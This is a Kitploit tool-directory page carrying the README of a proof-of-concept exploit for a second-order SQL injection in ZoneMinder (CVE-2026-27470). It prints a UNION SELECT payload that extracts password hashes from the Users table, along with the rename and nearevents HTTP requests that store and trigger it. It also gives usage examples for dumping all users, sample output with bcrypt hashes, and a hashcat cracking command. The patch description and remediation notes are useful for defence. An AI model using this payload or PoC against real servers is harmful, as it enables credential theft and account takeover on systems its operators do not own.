Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27470 — Proof-of-concept exploit for a second-order SQL injection in ZoneMinder (CVE-2026-27470). Demonstrates authenticated data extraction, including user credentials, with options for custom queries and hash dumping. | Kitploit
Tools/GitHubGitHub/kocaemre/cve-2026-27470
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkocaemre/cve-2026-27470

CVE-2026-27470

Proof-of-concept exploit for a second-order SQL injection in ZoneMinder (CVE-2026-27470). Demonstrates authenticated data extraction, including user credentials, with options for custom queries and hash dumping.

View Repository
626 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

⚠️ YASAL UYARI / LEGAL DISCLAIMER

Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.

This tool is provided strictly for educational and authorized security research purposes. Using it against systems you do not own or do not have explicit written permission to test is illegal. Unauthorized access may violate laws such as the CFAA (US), Computer Misuse Act (UK), and equivalent legislation worldwide. The author assumes no liability for any misuse of this tool.


CVE-2026-27470 — ZoneMinder Second-Order SQL Injection

CVE CVSS Affected Fixed

Proof-of-concept exploit for a second-order SQL injection vulnerability in ZoneMinder. An authenticated user with Events edit and view permissions can extract arbitrary data from the database — including all user credentials.


Overview

FieldDetails
CVE IDCVE-2026-27470
SeverityHIGH — CVSS 8.8
VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AffectedZoneMinder ≤ 1.36.37 and 1.37.61 – 1.38.0
Fixed in1.36.38 / 1.38.1
Fileweb/ajax/status.php → getNearEvents()
CWECWE-89: Improper Neutralization of SQL Commands
Auth RequiredYes — Events edit + view permission

Vulnerability Details

The Second-Order Pattern

This is a textbook second-order (stored) SQL injection. The attack happens in two separate phases, which is why traditional scanners often miss it.

Phase 1 — Safe Write

The attacker renames an event with a malicious payload. ZoneMinder correctly uses a parameterized query here, so the payload is stored safely in the database without triggering any errors:

root@kitploit:~
POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
root@kitploit:~
// web/ajax/event.php — safe ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);

At this point everything looks clean. The payload is sitting quietly in the Events.Name column.

Phase 2 — Vulnerable Read

The attacker triggers getNearEvents() by requesting the near events for the same event record. The function reads the stored Name value back from the database and concatenates it directly into a new SQL query without any escaping:

root@kitploit:~
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
root@kitploit:~
// web/ajax/status.php ~line 460 — VULNERABLE ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // ← injection point
        AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];

The stored payload breaks out of the string context and the injected UNION SELECT executes, leaking data in the NextEventId field of the JSON response:

root@kitploit:~
{
  "result": "Ok",
  "nearevents": {
    "EventId": "1",
    "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
    "NextEventStartTime": null
  }
}

Why It's Dangerous

The developer made a very common mistake: they correctly sanitized user input at write time, creating a false sense of security. The assumption that "data from our own database is safe" allowed the vulnerability to exist in the read path for years. WAFs and most automated scanners won't catch this because the write request looks completely clean.


Usage

Requirements

root@kitploit:~
pip install requests

Options

root@kitploit:~
-t, --target      Target URL (e.g. http://10.10.10.10:8080)
-u, --username    ZoneMinder username
-p, --password    ZoneMinder password
--event-id        Event ID to use as injection carrier
--query           Custom SQL query to execute
--dump-users      Dump all usernames and password hashes
--field           Injection field: Name (default) or Cause
--no-restore      Do not restore event name after exploitation

Examples

root@kitploit:~
# Check DB version (simplest test)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT VERSION()"

# Dump all users and password hashes
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --dump-users

# Inject via Cause field instead of Name
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --field Cause --dump-users

# Custom query
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
  --query "SELECT @@hostname"

Output

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC     ║
║   CVSS 8.8 | Authenticated | Events Permission           ║
╚══════════════════════════════════════════════════════════╝

[*] Target    : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.

[+] User count: 2

[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6

[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...

Attack Flow

root@kitploit:~
Attacker                      ZoneMinder                     MariaDB
   │                               │                              │
   │  POST /index.php              │                              │
   │  action=rename                │                              │
   │  eventName=<PAYLOAD>  ──────► │                              │
   │                               │  UPDATE Events SET Name=?  ──►│
   │                               │  (parameterized — safe)      │
   │                               │◄─────────────────────────────│
   │                               │                              │
   │  GET /index.php               │                              │
   │  entity=nearevents    ──────► │                              │
   │  sort_field=Name              │  SELECT * FROM Events WHERE  │
   │                               │  Id=?                      ──►│
   │                               │◄── Name = '<PAYLOAD>' ───────│
   │                               │                              │
   │                               │  builds SQL string:          │
   │                               │  WHERE Name >= '<PAYLOAD>'   │
   │                               │  (no escaping!)              │
   │                               │  UNION SELECT executes ────► │
   │                               │◄── credentials ──────────────│
   │◄── JSON with leaked data ─────│                              │

Impact

  • Confidentiality: Full database read — all user hashes, API keys, monitor configurations, system settings
  • Integrity: Depending on database driver configuration, stacked queries may allow data modification
  • Privilege Escalation: Crack the admin bcrypt hash offline and gain full ZoneMinder access
root@kitploit:~
# Crack harvested hashes with hashcat
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Notes

  • Events.Name is varchar(64) in the database — keep injection payloads under 63 characters
  • The injection result appears in nearevents.NextEventId in the JSON response
  • ZoneMinder uses bcrypt for password hashing (mode 3200 for hashcat)
  • CSRF protection is handled automatically by the PoC

Remediation

Update ZoneMinder to 1.36.38 or 1.38.1.

The fix is to use a parameterized query placeholder for the stored value instead of string concatenation:

root@kitploit:~
// Before (vulnerable)
$sql = "... WHERE E.Name >= '" . $event[$sort_field] . "'";

// After (fixed)
$sql = "... WHERE E.Name >= ?";
$result = dbQuery($sql, [$event[$sort_field]]);

References

  • GitHub Security Advisory GHSA-r6gm-478g-f2c4
  • ZoneMinder 1.36.38 Release
  • ZoneMinder 1.38.1 Release

Disclaimer

This tool is for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.

Download Tool